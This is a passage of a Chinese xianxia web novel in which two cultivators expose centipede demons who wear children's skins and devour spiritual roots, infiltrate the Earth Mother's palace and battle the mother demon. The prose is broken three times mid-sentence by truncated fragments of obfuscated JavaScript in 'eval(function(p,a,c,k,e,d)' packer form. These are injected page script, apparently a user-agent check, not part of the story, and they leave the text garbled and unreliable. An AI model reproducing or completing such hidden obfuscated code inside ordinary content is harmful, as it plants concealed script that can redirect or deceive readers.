牌坊后一道笔直陡峭的阶梯隐入浓雾,是通向地母神宫的唯一路径,石阶已被时间打磨得分外光滑,曾登临过无数寻仙问道者,包括夏炎。 他感觉此地的灵气和过去比未见变化,地母神宫的禁制也还完好,以他目前的修为用神识探查恐会暴露。 他幻化成蛟龙族妖修,向牌坊右下角的石雕神兽行揖礼:“在下尹林,南冥海蛟族人士,特来拜见地母娘娘。” 冉彤透过他的衣领缝隙偷瞄,见那神兽眼放金光,开口问:“道友何故来访?” “在下家乡灵气逐年锐减,想向娘娘询问原由。” “呈上名帖,我替你通传。” 夏炎取出伪造好的名帖,神兽衔在嘴里,化作金光沿着石阶飞入雾气,片时返回,说:“娘娘正闭关,不方便见客,宫内道童已将你求问之事登记在册,待娘娘出关后自会答复你,请回去耐心候着吧。” 情况和封无牙当初经历的一样,时隔百年地母仍拒绝见客,闭关一说怕是托词。 夏炎求稳,暂且告退。 下了山,冉彤想变回来,被他制止。 “先别动,等老夫甩掉尾巴。” 他离开山门时便发现有妖物跟踪监视,假装不知,腾云向南飞去。 那妖物跟了上千里才返回,应该没瞧出破绽。 夏炎降落,再用缩地术带冉彤返回大漠。 “刚才那妖物气息污秽,地母从不收容恶妖,看来她真遇上麻烦了。” “难道地母娘娘被他们杀害了?” “大漠全靠她的灵力滋养,这里的环境没变化,说明她还活着。可能被囚禁或者控制了。我们先去找当地人了解情况,看看这一千年里有无异常。” 他们来到距离常乐山最近的常乐城,在城外的林子里休整到天明。 清晨二人沿官道进城,大漠里的人习惯晚睡晚起,此时路上还很空旷。 冉彤听到远处传来一阵喜庆的鼓乐声,以为是哪家的送亲队伍,用神识查探,果见前方二里地红幡飘扬,红灯结队,几十个穿喜服戴彩帽的男女正说说笑笑出城。中段十二个舆夫,每四人一组,抬得却不是花轿,而是三具披挂彩绸的红漆棺材。 冉彤怀疑看错了,见人们沿路抛撒纸钱,举着写有死者生卒日期的灵幡才确定他们在送殡,奇道:“这儿的风俗这么独特吗?出殡比结婚还喜庆。” 夏炎印象中没有这样怪异的习俗,透视棺椁里的尸体,那三名死者都是青壮年,死前均被挖走了灵根。 冉彤得知后断定是妖怪作祟。 凡人里不乏灵根出众者,大部分人由于缺乏机缘,一生都不知晓自身天赋,也因为得不到有力庇护,极易成为恶妖的狩猎目标。 凡人的血肉不中吃,灵根却是妖兽喜爱的上等补品,能增进修为,益寿延年。 他们进城假装旅人去一家饭馆打尖,冉彤问小二:“我们来时遇到一户人家出殡,见那些亲属个个穿红着绿,还吹奏喜乐,给棺椁披红挂彩,这是贵宝地的习俗吗?” 小二笑道:“我们这里开化已久,婚丧习俗同十州差不多,你遇到那户人家姓李,他们家那三位往生者是被仙童度化去极乐世界了,所以丧礼按喜事操办。” 仙童是指跟随地母修行的童年童女,这事自古有之。 地母喜欢小孩子,每十年即会在大漠居民中挑选一些根骨优秀天性良善的幼童,带回常乐山抚养教导,待他们成年后送归本家。 这些受过她教养赐福的孩子人生都比较美满顺遂,且俊才辈出,其家族引以为荣。 可如今情况与古时有所不同,那些被选为仙童的人成年后也不归家,终生跟随地母修行,致死保持孩童模样。 “他们每隔三年便会回家省亲,被当做祥瑞临门,族中老小齐聚接待。假如谁有仙缘,就会被仙童度化,超脱凡尘,飞升极乐。那些往生者走时跟睡着了似的,面带笑容,有的头七里还会给家人托梦,带他们参观自己在极乐世界的生活,那种舒坦快活是人间比不了的。” 小二说到这儿去招呼其他顾客了,冉彤向夏炎请示:“前辈,那李家的仙童定是妖怪所化,我们先查他吧。” 此案是地母案的分支,夏炎仍以稳妥为主,说:“李家已经案发了,没逮到现行不好判断。我们去找找有没有别的正在回家省亲的仙童。” 他使用招妖幡,通过当地妖族打听到三百里外的五明城也有一个仙童将于今日回家省亲,便带着冉彤赶去五明,找到那户姓张的人家。 这家也是个大族,房舍宽广,气派非凡。 宅邸内人群熙攘,成人们忙着布置场地,准备祭祀、宴席,孩子们在庭院中嬉笑玩耍,争论今次谁能得到仙童引渡。 巳时,身着盛装的主人和族中长辈们率领全族数百人来到大门外等候,翘首盼望仙童回归。 街坊们阖家挤出来围观,向张家人恭维贺喜,羡慕之情溢于言表。 稍后城中官员也驾到了,向张家赠送贺礼和五明富户们集资献给仙童的供品。 六畜、五谷、香火、糖果、糕饼、衣物装了十几车,几十个杂役轮流卸载,忙得脚不沾地。 冉彤跟随夏炎隐身观望,发现张家人中有好些个灵根出色的后生男女,若以妖怪的视角看就是摊位上陈列的美食,不吃太浪费。 夏炎提醒:“那仙童快来了,你别用神识观察他,谨防打草惊蛇。” 午正,空中响起祥和的乐声。 人们赶忙端正站姿,举头仰望。 天穹中出现一个小黑点,转瞬飞至近处,是一辆由三只仙鹤拉拽的精美云车,车头挂着红黑相间的旗幡,正不断迎风招展。 冉彤见上面的图纹与常乐山山门牌坊上的图案一致,来的定是那仙童。 “仙童归来啦!” 人群中爆发出震耳欲聋的欢呼声,整条街道瞬间沸腾起来。张家人高举双手挥舞,脸上充盈着无法抑制的喜悦,不少人激动到流泪。 一些年轻路人兴奋地忘却礼仪,一个劲儿往人前挤,希望近距离一堵仙童的风采。 老人们则双手合十不停喃喃自语,满心虔诚地祝祷,祈求仙童能予以他们吉祥和保佑。 冉彤初到大漠中的城市已目睹地母无处不在的影响力。 店铺里供奉她的神像,街道上随处可见蚯蚓形象的吉祥物和装饰品,为其建造的寺庙也格外宏伟华丽。 眼前这些人如此敬仰仙童,都是出于对地母的崇信。 这么想来那假借地母之名作恶的妖怪们便更可恨了。 云车车门开启,一个身穿红衣的小男孩跳出车厢,轻飘飘落到地上。 他的身影压住一切喧嚣,人们双膝跪地,以手加额,怀着敬畏和爱戴向其磕头,官员也行了半礼。 那仙童唇红齿白,容貌俊秀,头上梳着两个圆圆的抓髻,各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不知道当年是夏炎传授了白子落“紫霄神焰”的部分功法,后来他失手被囚,白子落没能学到全本功法,便根据残篇自行发挥改编,衍生出“三途烽燹”。论威力就是照猫画虎,比正牌法术逊色得多。 夏炎不想语人是非,说:“这法术与老夫的‘紫霄神焰’有几分相似,原理大致是一样的。” 冉彤计上心头,忙恳求他教自己“紫霄神焰”。 秦不羁那边是指望不上了,自己再努力这“三途烽燹”也只能学个半吊子,放着现成的师父不求教还等什么? 可是夏炎不愿意。 “仇家都知道这是老夫的独门秘术,若传予你,他们会把你当成老夫的门人,永远追杀。” 冉彤一点不担心:“他们现在已经认定晚辈是您的手下了,晚辈想学点厉害的法术自保,不然日后离了前辈恐怕死多活少。” 装可怜这招最见效,夏炎一想的确是自己连累了她,原本也打算教她一些防身的功法,她又有修炼“三途烽燹”打下的基础,天意如此设计,或许正是要他栽培她。 那“三途烽燹”是白子落在极境后期开创的,本不适合低阶修士修炼,是以艰深晦涩。 “紫霄神焰”却是夏炎结合师门功法,从年轻时起自行钻研参悟的,其后屡经增减删改也没丢掉最初的体系,整本功法化繁就简,深入浅出,似冉彤这等悟性出色的基本一目了然。 练习两个时辰,她便将黑火调整为紫火,运用起来更得心应手了。 傍晚他们隐身潜入张家,那少女是张家家主的小孙女,住在西花园里,身边有两个丫鬟一个保姆伺候。 迎接仙童的筵席散场,人们各自回房歇息,夏炎对张小姐和仆妇们施了昏睡咒,将她们转移到别处隐藏,将两张凳子变成丫鬟,一根鸡毛掸子变成保姆, 冉彤则变作张小姐躺在床上装睡。 夏炎守在屋外,半夜里那仙童飘进花园,来到张小姐的闺房门前,对着门缝轻轻一吹,门闩自动打开。 冉彤听到声响,七分欢喜三分紧张,怕惊动妖怪,仍未开放神识,耐心等它上前。 妖怪进门绕过丫鬟保姆直奔床前,冉彤隙开眼缝,见仙童的影子爬上帐幔。这厮停在床前,脸上慢慢钻出一条扭曲抖动的条状物,像肥大粗长的舌头。 屋顶上的夏炎看清了全景,蚰蜒精的脑袋正从仙童大张的嘴巴里钻出来,露出布满尖刺的口器,准备吸食床上人的灵根。 63.降妖 蚰蜒精钻进帐幔,杨梅状的复眼闪着贪婪的幽光,口器里流淌出腥臭的涎水,牵丝连串地滴落在被褥上。 冉彤静等它的头完全探入,猛然挥动右手甩出一道凌厉的气刃,端端划过蚰蜒精的脑门,砍瓜似的连皮带骨削掉一大块,绿色的黏液飞溅出来,将帐幔烧成渔网状。 妖精怪叫退后,脑袋竟快速生长复原,呲溜缩回人皮里。 那仙童面目扭曲,眼冒绿光,脸皮下浮起无数蠕动的黑色线体,以爬虫的姿态扑向冉彤。 冉彤飞身跳出帐幔,在墙壁房梁间腾挪闪展,蚰蜒精身形如电地追逐着,所过之处留下一道道湿漉漉的黏液。 夏炎传音冉彤:“丫头,老夫在这屋子四周设了法阵,旁人听不到动静,打坏的东西老夫也会修好,你只管放开手脚。” “谢前辈!” 冉彤已用“神目天通”鉴别出蚰蜒精的灵根是金土属性,见它喷吐过的武器是一粒粒金属弹丸,便想以火克之。当下念动咒语,掌心里汇聚出一团跃动的紫火。 她奋力将火球扔向蚰蜒精,火苗刷然笼住它,粗长的火舌舔焦了空气,却没点燃附近的家具器物,想是受到了法阵保护。 蚰蜒精衣物烧个精光,疼得呲呲嚎叫,乱冲乱撞,力气却未减弱,突然似离弦之箭窜向冉彤,背着一身烈火追赶攻击她,速度比刚才更迅猛,吐出的金弹也如雹雨飞箭,击碎室内物品,在墙壁屋顶上留下密密麻麻的窟窿。 冉彤反应稍慢,左肩已挨了一下,人如皮球飞出数丈,砸穿一扇窗户,撞在法阵上再反弹回屋内。 这金弹含有剧毒,窗外摆放的花木立时中毒焦枯。还好玄鳌灵甲和何东篱送的蛇牙吊坠能挡住毒素。 冉彤惊问夏炎:“前辈,这妖怪怎么不怕火啊!?您要么把法阵收一收?” 夏炎笑道:“老夫可没那么糊涂,这妖怪虽是金土属性,但金生于土,土才是他的本命灵根。你修为低,还没达到‘火狂土焦’的功力,用火攻反而生助它的凶性。” “明白了!” 厚土须用木克,冉彤调整状态,改用木灵术。 咒语出口,周围的家具、房梁、柱子像被注入了生命力,迅速生出枝丫藤蔓,如同一条条触手扑向蚰蜒精。 这突如其来的变化打得蚰蜒精措手不及,它在狭小的空间里闪躲几下便被粗枝巨藤捆绑缠绕,人皮被勒变形,手脚折断,脑袋被从嘴里挤了出来。 这畜生不甘坐毙,厉声咆哮着散发出一股股黑色毒雾,毒雾腐蚀性极强,植物沾到一点便枯萎腐烂。 冉彤连忙催动法术,生长出更多枝蔓来助阵,将妖怪层层裹进牢笼,接着发动真雷。 雷力通过树木传导击中蚰蜒精,刺目的电光填满一室,恍如白昼降临。 蚰蜒精浑身痉挛,好像一团荡漾的液体,狰狞的复眼因痛苦急剧收缩,黑雾骤减,体表喷射出绿色的黏液,蚀烂人皮,暴露出黏腻肥胖的真身。 冉彤正想一鼓作气电死这臭虫子,夏炎忽然阻拦:“丫头,留下活口问话。” 对啊,还要查地母的案子呢,可不能掐断线索。 她匆匆撤力,那些树枝藤蔓即刻退化消失,蚰蜒精笨重的身躯砸落在地上,花岗岩地板因冲力碎裂突起,形成一个三尺深的大坑。 “前辈,我降服它了!” 冉彤得意报喜,不料濒死的蚰蜒精暴跳弹起,不顾躯体还在冒烟流脓,迅疾扑向她,口器怒张狠咬她的喉咙。 冉彤忙伸手格挡,被它咬住右手护腕,刺鼻的腥臭气直攒脑门,熏得她连连干呕。 “畜生,还不老实!” 她吃亏躁怒,左手揪住妖怪的背脊,右脚踏住他的尾部狠狠撕扯,随着黏糊糊的声响,蚰蜒精被生生扯成两段,死前都会老实了。 冉彤甩掉妖怪,厌恶地念诵净尘咒,见夏炎现身,急声抱怨:“前辈都不提醒人家,晚辈差点被咬死了!” 夏炎没怪她夸大其词,平和教导:“老夫有意给你个教训,在敌人死透前切忌掉以轻心。” 冉彤明白是自己疏忽,羞臊地“哦”了一声。 夏炎让她伸出右腕看看是否受伤,那护腕被蚰蜒精啃出了一排齿痕,看得冉彤肉痛。 “这死畜生,咬坏我这么贵重的东西!” “东西坏了是小,人没事就好。” 夏炎含笑替她修复护腕,更令冉彤后悔方才胡乱冲他发脾气,咕哝着缓解愧怍。 “这畜生还伤不了晚辈,就是太脏太臭,让人恶心。” 她捏着鼻子往夏炎身旁躲,借他的灵香抵御恶臭。 夏炎想起她平时的行为,打趣道:“你经常在灰堆泥地里坐卧,还怕脏吗?” 立刻遭她羞恼抗议:“前辈说我邋遢吗?人家才没有!” 就算是也不能承认,女孩子要坚决维护自身形象,绝不给他人打压的口实。 夏炎见她生气了,知道这玩笑不合时宜,转身去料理那半死不活的蚰蜒精。 这妖怪本就智力低下,重伤后更难沟通,他直接使用搜魂术彻查它的记忆。 海量的信息以画面形式涌入神识,如今常乐山里的地母是一只蚰蜒大妖冒充的,她入住地母神宫后带来很多儿女。 它们吃掉了那些被假地母招去的童男童女,穿上人皮冒名顶替,以省亲为名去道童家中吃人。 这头蚰蜒精在神宫居住期间已换过五次人皮,吃了数百人。可怜那些受害的人家还以为死者均往生极乐,对其感恩戴德。 神宫深处有一座聚灵阵,靠某件神奇法宝供能,维系着大漠里的生态。 而母蚰蜒的后台正是离恨天,夏炎看到多个太上长老的身影,目前负责看管常乐山的是江琉玥,她和母蚰蜒靠法阵联络,每月初一去视察一次,截止这蚰蜒精离山时都不在那里。 眼下正是潜入的好时机。 夏炎焚化蚰蜒精,将损毁的房屋恢复原状,把张小姐和仆妇们挪回来。 四人犹在熟睡,打雷都唤不醒。 冉彤问夏炎如何潜入常乐山,夏炎微微一笑,变成那仙童,体貌和气息都一式一样。 “前辈想冒充那妖怪?” “嗯,你看像吗?” “……您先走两步让晚辈瞧瞧。” 夏炎来回走动几步,冉彤看了直摇头。 “那仙童说话行动都像个白痴,这么正常定会被识破。” 夏炎点头认同,模仿妖怪傻笑,歪歪扭扭走路,问:“这下像了吧?” 冉彤憋住笑,沉着脸摆手:“太做作了,再自然点。” 夏炎鼓起腮帮,眼睛瞪得溜圆,在原地连蹦带跳转圈子,奶声奶气嚷道:“杨柳儿活,抽陀螺。杨柳儿青,放空钟。” 冉彤肚子发酸,破口大笑:“前辈在嘟哝什么呢?妖怪怎会唱儿歌?” 夏炎正色道:“妖兽在化形前都会模仿人类的幼童,唱儿歌是他们的必修课。” 冉彤揉去眼角的泪水,继续挑剔:“可是看起来还是太正常了,不像傻孩子。让晚辈给您打个样。” 她也变作那仙童,夸张地扭着屁股,学鸭子甩荡着小短腿走路,脑袋左摇右晃没片刻安静,别说演得还挺传神。 “前辈照我的样子来一遍。” 夏炎为人实诚,没看出她在恶作剧,认真地依样画瓢。因为太注重细节,拐弯时一跤跌倒,着地还咕噜噜滚了两圈。 冉彤笑得坐下捶地,看无所不能的高手出洋相,既能获得心理平衡,还可满足好奇心,增强亲近感,她真想知道夏炎的手下败将和朋友们看到他这副模样时是何反应。 夏炎以为她在笑自己模仿失败,一本正经道:“有那么糟糕吗?老夫年轻时以开设戏班为志向,还曾为此下过苦功夫,演技不可能这么差。” 他无意中透露隐秘,正在后悔,冉彤已像闻到鱼腥的猫扑过来。 那天在松阳胡员外家,夏炎也曾提过此事,她真没想到他当时藏下的后半截话是这样的。 “原来前辈的梦想是当班主啊,那真和晚辈志同道合!” 二人都是小孩形象,拉扯起来没忌讳,她抓住夏炎的手用力摇晃,惊喜得好像找到游戏伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见夏炎陡然恢复原形,她才察觉自己有多放肆,赶忙跟着变回来,暗怀慌张地等候责难。 夏炎怪她太失礼,明明尴尬比生气多,仍佯怒训斥:“你太没大没小了,老夫年纪够做你祖宗了,你怎能如此?” 冉彤嗫嚅道歉,随后不甘嗔怪:“是前辈先动手的,就算是祖宗也该分清男女界线,不知道女孩子的脸不能随便给男人碰吗?” 夏炎预感吵起来丢脸的还是他,顿时泄气道:“没人比你更会强词夺理,究竟是怎么养成这种性子的?” 冉彤看出他投降了,有恃无恐还洋洋自满,昂头夸耀道:“晚辈是在实现家父的心愿。” 夏炎似笑非笑睨着她,等着听她鬼扯淡。 冉彤煞有介事说:“我爹太爱我娘,晚辈出生前他就许愿生个女儿,还说要把晚辈宠得无法无天。” 夏炎很能理解冉鸣玉的心情,他也曾对楚幽荨说过类似的话。 男人深爱女人,就会渴望得到一个和对方相似的女儿,然后把她宠上天,用来延续海枯石烂的盟誓。 情如逝水长流曲,至死相思绕骨萦,就这点而言,冉彤的父母不失幸运。 他暗自羡慕这对忠贞的道侣,将冉彤视作他们爱情的完美见证,于是乎她所有目无尊长礼数的行为都显得合情合理了。 “行吧,就数你能耐。” 看着他和善的笑容,冉彤有点懵,她抬杠顶嘴是在试探夏炎的底线,原来他的容忍度也和他的法力一样深不可测吗? 他莫非在有意纵容,好让我肆无忌惮,得意忘形,今后犯个大错再一并惩罚? 狡猾的少女忙收敛了,乖巧地嘻嘻笑一笑,问:“我们这就去常乐山吗?” 一走了之会出纰漏,天亮后夏炎冒充仙童应付张家人。等到蚰蜒精原定的返程时间再出发。 夜间无人去世,族人们还惋惜地问他:“这次没有一个人有仙缘吗?” 夏炎怜悯这些无知弱小的凡人,赠家主一瓶祛病养生的药粉,让他融在水里分给众人服用。 傍晚仙鹤云车来接人,他带着小冉彤登车前往常乐山。 云车起飞不久,冉彤忽然传音说:“前辈,快设个隔离禁制,晚辈想跟您商量个事。” 64.神宫 夏炎依她请求设下禁制,见冉彤从他的衣领里蹦出来,先摊开右手心接住。 冉彤仰头望着他急匆匆说:“晚辈思来想去,还是觉得前辈扮那蠢货容易露馅,不如让晚辈来冒充它,您隐身跟着。” 夏炎想她有映真镜,演技自然流畅,是更为适合,首肯道:“那神宫内部格局复杂,你必须时刻听从老夫指示。还有,那些 妖多半用虫语交流,你遇上了千万别开口,让老夫来应付。” 冉彤纳闷:“不开口怎么跟它们说话呢?” 夏炎笑道:“妖精藏在皮囊里,怎会用人嘴说话?” 这丫头也有不够机灵的时候,到底还是个孩子。 冉彤变成仙童,将将坐定云车已飞抵常乐山,直接越过山门降落在神宫前的广场。 这神宫建成十万年,材料皆是四方妖族进贡的珍品。 大门由整块玄铁铸造,高宽都愈数十丈,上刻防护咒文,与护山大阵关联。 踏入神宫,先得穿过一块一里见方的白玉广场才可到达由金砖翠瓦修筑的恢宏宫殿。 殿内的地板用深海泥和火山灰混合烧铸,每块长宽一丈,表面黑亮油润,光可鉴人。 冉彤在坊市见过这种地砖,比这小一大半的都叫价上万两银子。据说铺在库房里冬暖夏凉,能平衡干湿,还可使资材永保灵气。 其他陈设古朴典雅,随便一件摆设都是无价珍宝。 殿内有不少伪装成道童的妖精在往来活动,冉彤按照夏炎指引前行,不同它们接触。 她伪装巧妙,没教妖怪们看穿,左弯右拐走了一二里,忍不住问夏炎:“前辈我们这是去哪儿呢?” “先去看看那聚灵阵里的法宝。” 能代替地母支撑整个大漠的生机,此宝非同凡响,他预感自己寻寻觅觅多时的东西或许会在这里失而复得。 他们在下个路口碰到一男一女两个小妖怪正在那儿叽哩哇啦吵架,可能想找人评理,那女小妖跑来拦住冉彤,对着她摇头摆尾,比手画脚,喉咙里冒出含糊不清的音节。 冉彤听不懂却能感受到对方的急躁和愤怒,夏炎传音翻译:“新来了三个道童,妖怪们为如何瓜分新人皮起了争执。这女妖让你帮她抢人皮,作为报答,以后也会帮你抢。” 三个无辜幼童即将遇害,冉彤心下难安,谨记夏炎的吩咐未敢擅专,闭着嘴装傻。 夏炎替她用虫语作答,同时为她解读含义。 “老夫用分身去寻宝,已假装答应这妖怪,我们跟它们走,先救下那些孩子再说。” 他优先救人,冉彤不仅欣喜,安全感也得以强化。 老鬼的善念坚不可摧,跟着他不用猜忌戒备,真和家人相处一般舒适。 她有心感恩,一板一眼模仿妖怪,力求不拖夏炎后腿,跟随那两个小妖来到一座大厅。 这里已聚集了三四十个小妖怪,正大张旗鼓地组团争吵,个别凶悍的从人嘴里探出脑袋示威,或者相互撕咬,发出粗暴的咆哮声。 三个幼儿站在厅中央,早被恐怖景象骇傻了,下意识紧紧依偎着。 年纪稍大的男孩抱住两名同伴,抖瑟着注视显出原形的妖怪。 个子最矮小的女孩一个劲儿往他怀里钻,发出断断续续的呜咽。 另一个小男孩也涕泪交流,揪住他们的衣服,腿抖得几乎站不住。 冉彤隐蔽靠近三人,防止妖怪们出手加害。 领她来的那个女妖尖啸一声吸引群妖注意,叽叽咕咕放话。 “她是母蚰蜒的长女,再过两百年就会进入化形期,说自己顶多再换一次人皮,让妖怪们把名额让给她。” 这窝虫子家风不好,缺乏敬长爱幼的传统,压根不买女妖的帐,还群起围攻她。 争夺利益时,人和妖都有着相同的丑恶面貌,冉彤不用翻译也能猜出个七七八八。 她估计妖怪们吵不了多久即会动手,时刻准备战斗。 忽听夏炎传音:“丫头,那法阵里有老夫要找的东西,你替老夫拖延一刻钟。” 他语带喜气,定有重大发现。 冉彤早知他寻找的东西至关重要,能在这里巧遇实在幸运,忙回应:“让晚辈耍耍这些妖怪,您替晚辈翻译。” 夏炎和她神识相连,她想说什么,他便即时传译。 “皮囊数量稀少,当由能者得之,我看我们不妨捉对较量,选出三名获胜者来分享这三张人皮。” 大部分妖怪表示赞同,那妖怪姐姐恼她变卦,恶狠狠叫骂。 “她说你不守信用,还说你的人皮才用了三十多年,应该退出比试。” 冉彤听完夏炎翻译,淡定地对女妖说:“小弟不管输赢都会将这旧皮囊送给姐姐,反正姐姐也快化形了,这幅人皮还有七成新,再凑合用个百十年不成问题。” 女妖不够强悍,担心打不过其他妖怪,听了这话觉得好赖有张半新不旧的人皮保底,骂骂咧咧接受了。 仍有妖怪提异议:“母亲不许我们在这儿斗法,被离恨天的人知道了定会降罪,以前十八姐和六十弟就是因为这种事被处死的。” 小妖们对离恨天惧意明显,看来那母蚰蜒只是个傀儡。 冉彤正愁用法术不便比斗,将计就计道:“好办,我们都不用法术,单靠打架分胜负,这样更公平。” 年幼的妖怪修为低,比法术会吃亏,都很支持她的提议。 妖怪们靠划拳分配好对手,冉彤先迎战一个男童模样的蚰蜒精。 那妖怪四肢着地,一边蓄力一边昂首朝着她喝喝怪叫。 冉彤怕暴露,连忙爬下模仿对方的表情和形态,五官乱飞,面部抽搐,比妖怪更吓人,唬得那三个孩子哇哇大哭。 夏炎看得直笑,心想还好把冒充小妖的差事让给了冉彤,靠他根本做不到这地步。 大凡女孩子都顾忌形象,这丫头扮丑耍宝毫无负担,是块干大事的料。 冉彤的执着劲儿比他想象的更强,此刻只想蒙混过关,提醒他:“前辈别愣着啊,快配合晚辈吼几声!” 夏炎赞她心细,配合她的动作用虫语咆哮。 冉彤嫌他不够粗鲁,教授台词。 “狗杂种,你都不是母亲亲生的,没资格跟我抢!” 夏炎哪里骂得出口,为掩护她,勉强用比较文雅的说辞表述。 那小妖愤然怒吼:“你胡说!我是亲生的!” “不,我亲眼瞧见的,路边狗屎堆里蛆才是你亲妈!” 冉彤见夏炎不吭声,催促:“前辈快照着骂呀,不能输了气势!” 夏炎被迫翻译,觉得自己的嘴不干净了。 “你胡说!你胡说!” 小妖气得探出头,向冉彤喷吐黑绿色的毒液。 冉彤打滚躲开,顺嘴讽刺:“口水比狗屎更臭,还说你不是蛆生的?滚去找你的苍蝇爹吧!” 小妖智识低,乍然遭受这么恶毒的辱骂,气得倒在地上翻滚扭动,抖着四肢爆发洪亮的哭声。 旁边的小妖们看了都判他输,冉彤莫明获胜,暗暗向夏炎报喜。 夏炎比打一百场架还累,额头竟罕见地冒出细汗,叮嘱:“下一场直接动手,不许再骂人。” 冉彤着急:“上兵伐谋,晚辈这是智取!” 她想劝夏炎别拘泥小节,一个小妖帮着老鬼限制她。 “说好不许用法术,你怎么犯规!” 冉彤辩解:“我只是骂了他两句,哪有犯规?” 小妖斥责:“母亲说过,骂脏话是人类的特长,也算一门法术,名唤‘攻心术’。你不仅学会,还运用得如此纯熟,不是犯规是什么!?” 吵架拼谁反应快,最忌哑口,冉彤不停顿地反驳:“我看你是怕我骂你才这么说,你的亲妈不是蛆,是老母猪身上的跳蚤!” 夏炎真想喝止她,奈何受形势所迫,还得替她翻译。 他催促分身加快行动,不尽早破解那法阵,他恐怕会先于妖怪们被冉彤的污言秽语逼晕。 其他小妖见冉彤骂人厉害,怕遇上了顶不住,一致要求她禁用“攻心术”,否则便剥夺她的参赛资格。 冉彤只得低头,第二轮对战的小妖披着女童的皮,开打前双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鞭腿如蝎子摆尾踢踹妖怪脑袋,双拳如铁杵捣蒜击打敌人胸腹,每一招都拿捏精准,在冰河犀角护腕辅助下,拳拳到肉,打得妖怪们痛呼倒地。 三个人类小孩知道冉彤是救星,见她身手勇猛,都转怕为喜,眼巴巴紧盯战团,盼望她能获胜。 有妖怪想趁机捡漏,凶恶地扑向他们,哐当撞在一幅滚烫的透明屏障上,人皮霎时烤糊烧毁,本体被燎得起泡冒烟,挣扎扭动着融成灰烬。 “她还有帮手!” 妖怪们看出法阵等级非冉彤的修为能够布置,定有高阶修士在场,个别灵醒点的慌忙向母蚰蜒报信。 一片漆黑的影子携带凌厉的妖气涌入大厅,顷刻覆盖了地板、墙壁、天花板,只三个孩子站立的地方还留有一小块圆形的空白,法阵在妖气衬托下显现出闪光的轮廓。 冉彤有玄鳌灵甲护体,还能抵挡妖气侵袭,戒备地望着大门。 伴随着衣物摩擦地板的簌簌声,一名身着华丽黑色长袍的少妇从黑暗深处姗姗走来。 她容貌美艳,身姿婀娜,血红的竖瞳里隐含戾气,墨云般的长发足有一丈长,和衣服重叠着曳地而行,周身散发着阴湿浓厚的妖气。 众小妖纷纷敬伏于她脚下,比起儿女,更像诚惶诚恐的部从。 “小丫头,你是哪个门派的?受谁指使?” 女妖凶恶逼问冉彤,生怕冒充地母一事败露,杀人前必须查清底细。 夏炎认出这女妖,传音冉彤:“老夫还不想露面,丫头你来传话。” 冉彤谨遵指示,对女妖说:“我还以为魑魅林的余孽全死光了,原来这里还有漏网之鱼啊。” 一千多年前妖族灵玄教党徒曾在青岚州以东的魑魅林秘密结社,妄图颠覆太清教在六大部族的统治地位。经过长达百年的征战,这些恶贼终被镇压剿灭。 夏炎当年也曾协助妖族剿匪,见过这母蚰蜒。 离恨天收编妖族乱党,此事闹开了,人妖两族定会起冲突。 65.上课 人族小姑娘居然认识她,母蚰蜒断定是受那隐身的高人操纵,资历这么老,会是谁呢? “阁下既来做客,何故藏头露尾?” 她厉声喝问,音调里透出掩饰不住的紧张。 冉彤笑詈:“好个鸠占鹊巢的妖怪,还敢以主人自居,地母娘娘被你们弄去哪里了?老实交代还能给你个痛快!” 母蚰蜒急着逼出她背后之人,悍然抬起右手,袖口里飞出一股黑气,其中包裹着无数头发丝般的毒液,飞动时有如细针,来势异常迅猛。 冉彤看不清十级大妖的动作,紫光映面,毒液都被夏炎的护盾挡住了。 “丫头,你怎么突然老实了?还手啊。” “是!” 冉彤先不管自己的攻击有没有效力,向母蚰蜒抛出一道真雷。 她想夏炎不愿暴露身份,便没用紫霄神焰。 夏炎暗暗夸她聪明,待雷电抵达母蚰蜒跟前时施法强化其威力。 母蚰蜒本来对冉彤的招数不屑一顾,想挥袖抽飞那道电光,恰好中计。 短窄的电光猝然扩张成吊桶粗细的巨蟒,顺势缠住妖怪的手臂,而后像大海胆放射出千百道剑戟般的金光。 女妖措手不及被雷力贯穿躯体,一阵凄厉的惨叫声中,她的华服被烧成碎末,秀发焦枯成灰,电流倏地蔓延至全身。 她迅速扭曲膨胀,雪白的皮肤冒出墨黑色的鳞片,妖艳的面容失去人形,肥大的躯干两旁探出若干细长的腿,在地上剧烈抓挠,将坚硬的地板划出道道深长的沟壑。 小妖们见母妖受伤,急忙围攻冉彤,各自头顶遽然落下立柱形状的紫光。 众妖似被大山压顶,贴地动弹不得,一些试图丢下皮囊逃生,也只能从人嘴里探出脑袋,徒劳地蠕动扭摆着。 母蚰蜒暴怒咆哮,不停喷吐滚滚黑色毒雾,巨大口器上那三排尖刺寒光闪闪,仿佛能撕裂一切。 大厅墙壁在它的怒吼中扑簌发抖,石屑剥落满地。 夏炎封闭三个幼儿的感官,免得吓坏他们,考试冉彤:“这妖怪有金水木三种灵根,你认为该如何对付?” 冉彤说:“水生木,金生水,金虽克木,但被水耗泄,木最强,是它的本命灵根,当用金系法术克制。” 夏炎让她先试试,冉彤用飞刀术劈砍,他施法让飞刀长大到能劈开整座大厅。 刀锋未至,所形成的气刃已在地板上凿出深沟,两旁的地面一齐向中间倾斜,地板七翘八拱破碎了。 母蚰蜒狂叫着迎头咬住刀刃,灵力碰撞的光芒好似烟花炸裂,冲击力形成的气浪扩散开,四面墙壁龟裂倒塌。 妖怪疯狂甩头试图夺下巨刀,冉彤卯足力气控制,有夏炎相助仍很吃力。 大厅里回荡着雷霆般的嘶吼、金属与獠牙摩擦的酸齿噪音,细听还有少女沉重的呼吸声。 老鬼固然未出全力,但照这情形看多半是她处置不当造成的。 